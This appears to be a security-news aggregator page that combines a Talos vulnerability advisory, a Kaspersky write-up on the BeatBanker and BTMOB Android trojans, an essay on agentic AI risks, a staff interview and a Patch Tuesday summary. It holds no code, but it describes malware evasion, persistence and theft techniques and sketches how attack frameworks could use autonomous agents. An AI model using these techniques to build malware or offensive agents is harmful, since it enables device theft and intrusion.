BioSig is an open source software library for biomedical signal processing. The BioSig Project seeks to encourage research in biomedical signal processing by providing open source software tools. Libbiosig is a library dependency for BioSig.
Talos discoveredTALOS-2025-2323 (CVE-2025-64736), an out-of-bounds read vulnerability in the ABF parsing functionality of The Biosig Project libbiosig 3.9.2 and Master Branch (5462afb0). A specially crafted .abf file can lead to an information leak. An attacker can provide a malicious file to trigger this vulnerability.
Talos also discovered two heap-based buffer overflow vulnerabilities,TALOS-2026-2361 (CVE-2026-22891) andTALOS-2026-2362 (CVE-2026-20777), in the Intan CLP parsing and Nicolet WFT parsing functionalities of the BioSig Project, respectively. A specially crafted CLP or WFT file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.
To achieve their malign aims, Android malware developers have to address several challenges in a row: trick users to get inside their smartphones, dodge security software, talk victims into granting various system permissions, keep away from built-in battery optimizers that kill resource hogs, and, after all that, make sure their malware actually turns a profit. The creators of the BeatBanker — an Android‑based malware campaign recently discovered by our experts — have come up with something new for each one of these steps. The attack is (for now) aimed at Brazilian users, but the developers’ ambitions will almost certainly push them toward international expansion, so it’s worth staying on guard and studying the threat actor’s tricks. You can find a full technical analysis of the malware on Securelist.
How BeatBanker infiltrates a smartphone
The malware is distributed through specially crafted phishing pages that mimic the Google Play Store. A page that’s easily mistaken for the official app marketplace invites users to download a seemingly useful app. In one campaign, the trojan disguised itself as the Brazilian government services app, INSS Reembolso; in another, it posed as the Starlink app.
The malicious site cupomgratisfood{.}shop does an excellent job imitating an app store. It’s just unclear why the fake INSS Reembolso appears all of three times. To be extra sure, perhaps?!
The installation takes place in several stages to avoid requesting too many permissions at once and to further lull the victim’s vigilance. After the first app is downloaded and launched, it displays an interface that also resembles Google Play and simulates an update for the decoy app — requesting the user’s permission to install apps, which doesn’t look out-of-the-ordinary in context. If you grant this permission, the malware downloads additional malicious modules to your smartphone.
After installation, the trojan simulates a decoy app update via Google Play by requesting permission to install applications while downloading additional malicious modules in the process
All components of the trojan are encrypted. Before decrypting and proceeding to the next stages of infection, it checks to ensure it’s on a real smartphone and in the target country. BeatBanker immediately terminates its own process if it finds any discrepancies or detects that it’s running in emulated or analysis environments. This complicates dynamic analysis of the malware. Incidentally, the fake update downloader injects modules directly into RAM to avoid creating files on the smartphone that would be visible to security software.
All these tricks are nothing new and frequently used in complex malware for desktop computers. However, for smartphones, such sophistication is still a rarity, and not every security tool will spot it. Users of Kaspersky products are protected from this threat.
Playing audio as a shield
Once established on the smartphone, BeatBanker downloads a module for mining Monero cryptocurrency. The authors were very concerned that the smartphone’s aggressive battery optimization systems might shut down the miner, so they came up with a trick: playing an all-but-inaudible sound at all times. Power consumption control systems typically spare apps that are playing audio or video to avoid cutting off background music or podcast players. In this way, the malware can run continuously. Additionally, it displays a persistent notification in the status bar, asking the user to keep the phone on for a system update.
Example of a persistent system update notification from another malicious app masquerading as the Starlink app
Control via Google
To manage the trojan, the authors leverage Google’s legitimate Firebase Cloud Messaging (FCM) — a system for receiving notifications and sending data from a smartphone. This feature is available to all apps and it’s the most popular method for sending and receiving data. Thanks to FCM, attackers can monitor the device’s status and change its settings as needed.
Nothing bad happens for a while after the malware is installed: the attackers wait it out. Then they trigger the miner, but they’re careful to throttle it back if the phone overheats, the battery starts dipping, or the owner happens to be using the device. All of this is handled via FCM.
Theft and espionage
In addition to the crypto miner, BeatBanker installs extra modules to spy on the user and rob them at the right moment. The spyware module requests Accessibility Services permission, and if this is granted, begins monitoring everything that’s happening on the smartphone.
If the owner opens the Binance or Trust Wallet app to send USDT, the malware overlays a fake screen on top of the wallet interface, effectively swapping the recipient’s address for its own. All transfers go to the attackers.
The trojan features an advanced remote control system and is capable of executing many other commands:
Intercepting one-time codes from Google Authenticator
Recording audio from the microphone
Streaming the screen in real-time
Monitoring the clipboard and intercept keystrokes
Sending SMS messages
Simulating taps on specific areas of the screen and text input according to a script sent by the attacker, and much more
All of this makes it possible to rob the victim when they use any other banking or payment services — not just crypto payments.
Sometimes victims are infected with a different module for espionage and remote smartphone control — the BTMOB remote access trojan. Its malicious capabilities are even broader, including:
Automatic acquisition of certain permissions on Android 13–15
Continuous geolocation tracking
Access to the front and rear cameras
Obtaining PIN codes and passwords for screen unlocking
Capturing keyboard input
How to protect yourself from BeatBanker
Cybercriminals are constantly refining their attacks and coming up with new ways to profit from their victims. Despite this, you can protect yourself by following a few simple precautions:
Download apps from official sources only, such as Google Play or the app store preinstalled by the vendor. If you find an app while searching the internet, don’t open it via a link from your browser; instead, head to the Google Play app or another branded store on your smartphone to search for it there. While you’re at it, check the number of downloads, the app’s age, and look at the ratings and reviews. Avoid new apps, apps with low ratings, and those with a small number of downloads.
Check any permissions you grant. Don’t grant permissions if you’re not sure what they do or why that specific app requires them. Be extra careful with permissions like Install unknown apps, Accessibility, Superuser, and Display over other apps. We’ve written about these in detail in a separate article.
Equip your device with a comprehensive anti-malware solution. We, naturally, recommend Kaspersky for Android. Users of Kaspersky products are protected from BeatBanker — detected with the verdicts HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*.
Threats to Android users have been going through the roof lately. Check out our other posts on the most relevant and widespread Android attacks and tips for keeping you and your loved ones safe:
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-11 16:16:082026-03-11 16:16:08BeatBanker and BTMOB trojans: infection techniques and how to stay safe | Kaspersky official blog
Agentic AI is making headlines worldwide for its potential force-multiplying capabilities, and organizations are understandably intrigued by how it can improve throughput and capabilities. However, as with any technological revolution, unforeseen issues are inevitable, and agentic AI is no exception. In organizations, these issues often arise from deploying personal assistants like OpenClaw or AI agents designed to optimize business and IT processes. Additionally, when personal assistants interact with “social networks” such as Moltbook, they introduce many hidden threats for organizations. These specific risks fall beyond the scope of this article, and will be addressed in a future blog.
This article will concentrate on agentic AI’s use within organizations and explore how these systems could potentially be used against them. There are two perspectives that must be taken into consideration when thinking about agentic AI:
The perspective of organizations deploying agentic AI technologies to streamline their business and organizational processes
The perspective focused on potential impacts of malicious agentic AI in the future
Both perspectives will be addressed, but let’s start with the first, which encompasses cybersecurity defense processes already in place, as well as the ways agentic AI can enhance those defenses.
What is agentic AI, how can it benefit organizations, and what are the dangers?
At its core, agentic AI is an autonomous system tasked with an objective, equipped with specific tools and resources. This system is typically powered by large language models (LLMs) with advanced reasoning capabilities. These capabilities allow the agent to plan how to achieve its objective, implement that plan, and, most importantly, verify results and try different approaches if errors occur.
There are four questions an organization must ask when delegating a task to an AI agent:
Traceability: Can I track all agent actions, regardless of whether the outcomes are global or intermediate?
Auditability: Is the task subject to regulatory oversight? Who is accountable for the outcomes produced by the agent?
Business risk management: Have I conducted a business risk assessment on the AI agent’s possible actions?
Cybersecurity threat management: Does the agent have guardrails to prevent malicious or disruptive actions during execution, regardless of its intent?
AI agents can be incredibly powerful and task-oriented, so their actions must be scrutinized independently of intent. An agent may inadvertently destroy or expose data, while still successfully completing its task.
An AI agent needs to adhere to basic cybersecurity and risk management principles. Just as you wouldn’t hand a new employee keys to all the data in your enterprise, AI agent access should be tailored for its specific role. Following good practices like threat modeling and risk management provides a solid foundation for successfully deploying AI agents. The optimal approach is to apply existing organizational roles to AI agents and adjust the data access accordingly. The goal should be to ensure that the exposure from a compromised AI agent is no greater than from a compromised user; this is achievable only through strong access control.
AI agents are not immune to external interference or direct attacks. Agents can search the internet to determine the best actions to achieve their goals. These actions could be manipulated, leading the agent to run a tool with an undesired consequence. At the same time, the act of making queries to the internet can result in information leaks.
When addressing these kinds of issues, it’s important to recognize that LLMs are not deterministic in nature, meaning that the execution of an agent to solve a task may vary each time, even if the task is consistently completed. This means that the traditional allow/deny approach may not be enough to provide the necessary safety and security boundaries. It is crucial to evaluate the potential outcomes of an action before execution — not from the perspective of the task at hand, but from a safety and security standpoint, free from goal-related bias.
This oversight can be performed by a human operator, who authorizes critical steps in task resolution. It can also be provided by a separate model/agent tasked with evaluating the consequences of actions without regard to the overall objective. These evaluations can even be scored, triggering human review if a certain threshold is met. There may also be compliance requirements to track and log the actions agent actions, similar to those required for a user.
Just as no system is 100% secure, no agent is 100% safe, especially given their non-deterministic and try-error reasoning features. However, this is not a new challenge. This is a threat modeling and risk management problem, which organizations have been facing for several years now.
Organizations with mature cybersecurity practices model threat scenarios and prepare for incident response. They conduct business, information security, and cybersecurity risk evaluations for these scenarios and determine how each risk is managed. Using agentic AI should follow the same process: First, model threats based on agent privileges and capabilities, then evaluate the risks, and finally determine how to mitigate them.
Ultimately, we need to apply what we already know to this new context, drawing the appropriate parallels.
Near and not-so-far impacts of malicious agentic AI
Agentic AI is already being used by malicious actors, as seen in cases like VoidLink. Nevertheless, this is just the tip of the iceberg, and defenders should be prepared for much more.
Agentic AI integration with attack frameworks is inevitable, and likely already underway; we just haven’t seen it yet. It may provide malicious operators with capabilities that could outpace defenders unless defenders also leverage agentic AI.
Our tracking of attack frameworks and their evolution provides clues on what the next steps may look like.
The next stage for these attack frameworks could easily be an agent that runs on the backend, awaiting operator requests. These requests might include searching for, compiling, and locally testing exploits for software the operator found on the target system.
But this is just the beginning. The list below illustrates other developments likely to be adopted by malicious operators:
To accelerate operations, an agent may analyze the operator’s console and suggest actions based on console inputs. This would both allow the agent to infer the operator’s preferences and retain memories of the target environment — details the operator could otherwise miss.
More efficient use of an agent would involve the delegation of routine tasks, like environment exploration, system role recognition, and data exfiltration.
Eventually, an agent could be deployed directly in the victim environment to handle specific tasks, contacting the backend for inference. In this scenario, the operator simply assigns the agent a task and waits for a result, with the agent using covert channels, that don’t need to be synchronous.
The ultimate threat is a fully autonomous agent deployed and assigned a specific objective, using local inference and only contacting the backend upon task completion. Local inference reduces the risk of detection, as backend communications are kept to a minimum. Additionally, in long-term operations, the agent can perform tasks slowly, adapt its tactics from system to system, and even be instructed to use only living-off-the-land binaries (LOLBins).
These scenarios can be adapted by defenders to automate threat hunting and response, but all strategies must account for the risks and guardrails discussed earlier.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-11 10:06:362026-03-11 10:06:36Agentic AI security: Why you need to know about autonomous agents now
Welcome back! This week, we’re shining a spotlight on Kri Dontje, a technical writer who’s become an essential voice in making Cisco Talos’ work understandable for a wide audience. With a background in technical communications and a career that began at a small startup, Kri discusses the importance of consistency, accuracy, and accessibility in documentation, as well as how to get the most out of a subject matter expert-technical writer relationship.
Now transitioning into a new role, Kri continues to bridge the gap between deep technical expertise and clear communication. When she’s not decoding cyber jargon, she’s hand-spinning yarn for stunning knit pieces, showing that creativity and tech go hand in hand. Keep an eye out for more content featuring Kri in the future.
Amy Ciminnisi: Can you tell us a little bit about what you do here in Talos?
Kri Dontje: Absolutely. I have a technical writing degree — technical communications — which means I translate very technical topics into something that other people can understand if they’re not necessarily experts in that field. I’ve had a very nontraditional career. My first position was at a very small company, 14 people at its largest. I did documentation, design and demonstration videos, and rebuilt their health system from the ground up. It was interesting and terrifying because I was learning it completely alone.
I’m also a huge nerd and a learning junkie, which helps with this kind of job. I enjoy being around people who are into really complex things and talking to them about it. I spent a lot of time around a local miniatures wargaming shop and became friends with a bunch of nerds, some of whom have migrated into Talos.
I transitioned over to the strategic communications team as a research engineer. I’m going to focus more on communicating about Talos at a slightly more technical level than our communications have been to the public for a while, while still creating content that makes Talos accessible for people as much as possible.
AC: What do you think are the most important qualities or skills that make someone a really good technical writer, especially in a fast-changing landscape like cybersecurity?
KD: That’s a big contradiction. One of the most important things for tech writing is consistency and accessibility. It’s not a career that encourages adjectives. You want to use the same word to mean the same thing every time because if you use a fun synonym, the reader might think it’s an entirely different concept.
Versioning is a big problem. People won’t trust documentation if they find bad information in it. They’ll never think it’s a reasonable place to go again. So keeping things accurate is really important.
Being snoopy and not being afraid to feel real stupid in front of extremely smart people is also key. Usually, you can find common ground. It’s important to recognize you’re not talking down to the audience or making the information for stupid people. Even within Talos and the cyber community, everyone has broad-ranging specialties. Most people don’t know what others do or can’t figure it out without spending a lot of time and energy they don’t need to. So the important thing is to bring the information to a level where other very intelligent people can cross-reference it and make it applicable to what they’re doing.
Want to see more? Watch the full interview, and don’t forget to subscribe to our YouTube channel for future episodes of Humans of Talos.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-11 10:06:362026-03-11 10:06:36Spinning complex ideas into clear docs with Kri Dontje
Microsoft has released its monthly security update for March 2026 which includes 79 vulnerabilities, including three that Microsoft marked as “critical.” The remaining vulnerabilities listed are classified as “important.” Microsoft assessed that exploitation of the three “critical” vulnerabilities is “less likely.”
CVE-2026-26110 and CVE-2026-26113 are “critical” Microsoft Office Remote Code Execution Vulnerabilities that could allow an unauthorized attacker to execute code locally; the former is a type confusion issue caused by access to a resource using an incompatible type, and the latter is an untrusted pointer dereference.
CVE-2026-26144 is a “critical” information disclosure vulnerability affecting Microsoft Excel. This vulnerability is due to improper neutralization of input in Microsoft Excel which could enable an unauthorized attacker to disclose information on affected systems. This vulnerability has not been previously publicly disclosed or exploited, and Microsoft has rated it as “exploitation unlikely.”
CVE-2026-26109 is an “important” vulnerability in Microsoft Office Excel that allows an unauthorized attacker to execute code locally due to an out-of-bounds read. This issue could enable an attacker to compromise the affected system. vulnerability in Microsoft Office Excel that allows an unauthorized attacker to execute code locally due to an out-of-bounds read. This issue could enable an attacker to compromise the affected system.
CVE-2026-26106 and CVE-2026-26114 are “important” remote code execution vulnerabilities affecting Microsoft SharePoint Server. CVE-2026-26106 is caused by improper input validation in Microsoft Office SharePoint, while CVE-2026-26114 results from deserialization of untrusted data. In both cases, an authenticated attacker with at least Site Member permissions (PR:L) can execute code remotely over a network on the SharePoint Server.
CVE-2026-26115, CVE-2026-26116, and CVE-2026-21262 are “important” elevation of privilege vulnerabilities in SQL Server, each with a CVSS v3.1 highest base score of 8.8. CVE-2026-26115 is caused by improper input validation in SQL Server, while CVE-2026-26116 is due to improper neutralization of special elements used in a SQL command (‘sqlinjection’). CVE-2026-21262 results from improper access control in SQL Server. In each case, an authorized attacker could exploit the vulnerability over a network to elevate privileges, potentially gaining administrator privileges. CVE-2026-21262 has also been publicly disclosed.
CVE-2026-26118 is an elevation of privilege vulnerability in Azure MCP Server Tools with a CVSS v3.1 highest base score of 8.8. It has been rated “important” by Microsoft. This vulnerability is caused by server-side request forgery (SSRF) in Azure MCP Server, which allows an authorized attacker to elevate privileges over a network. An attacker could exploit this issue by sending specially crafted input to an Azure Model Context Protocol (MCP) Server tool that accepts user-provided parameters. If the attacker can interact with the MCP-backed agent, they may submit a malicious URL instead of a standard Azure resource identifier. The MCP Server then sends an outbound request to that URL, possibly includingits managed identity token. The attacker can capture this token without requiring administrative access. A successful attacker could obtain the permissions associated with the MCP Server’s managed identity, enabling access or actions on any resources authorized for that identity. However, the attacker does not gain broader tenant-level or administrator permissions—only those linked to the compromised managed identity.
CVE-2026-26128 is an elevation of privilege vulnerability in Windows SMB Server that has been rated “important” by Microsoft. This vulnerability is caused by improper authentication in Windows SMB Server, allowing an authorized attacker to elevate privileges over a network. An attacker who successfully exploits this vulnerability could gain SYSTEM privileges.
Cisco Talos would also like to highlight several vulnerabilities that are only rated as “important,” but Microsoft lists as “more likely” to be exploited:
CVE-2026-23668 – Windows Graphics Component Elevation of Privilege Vulnerability
CVE-2026-24289 – Windows Kernel Elevation of Privilege Vulnerability
CVE-2026-24291 – Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability
CVE-2026-24294 – Windows SMB Server Elevation of Privilege Vulnerability
CVE-2026-25176 – Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
CVE-2026-25187 – Winlogon Elevation of Privilege Vulnerability
A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page. In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additionalinformation. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
The rules included in this release that protect against the exploitation of many of these vulnerabilities are: 66089 – 66092, 66096, 66097, 66101 – 66104.
The following Snort 3 rules are also available: 301442 – 301446.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-10 23:06:352026-03-10 23:06:35Microsoft Patch Tuesday for March 2026 — Snort rules and prominent vulnerabilities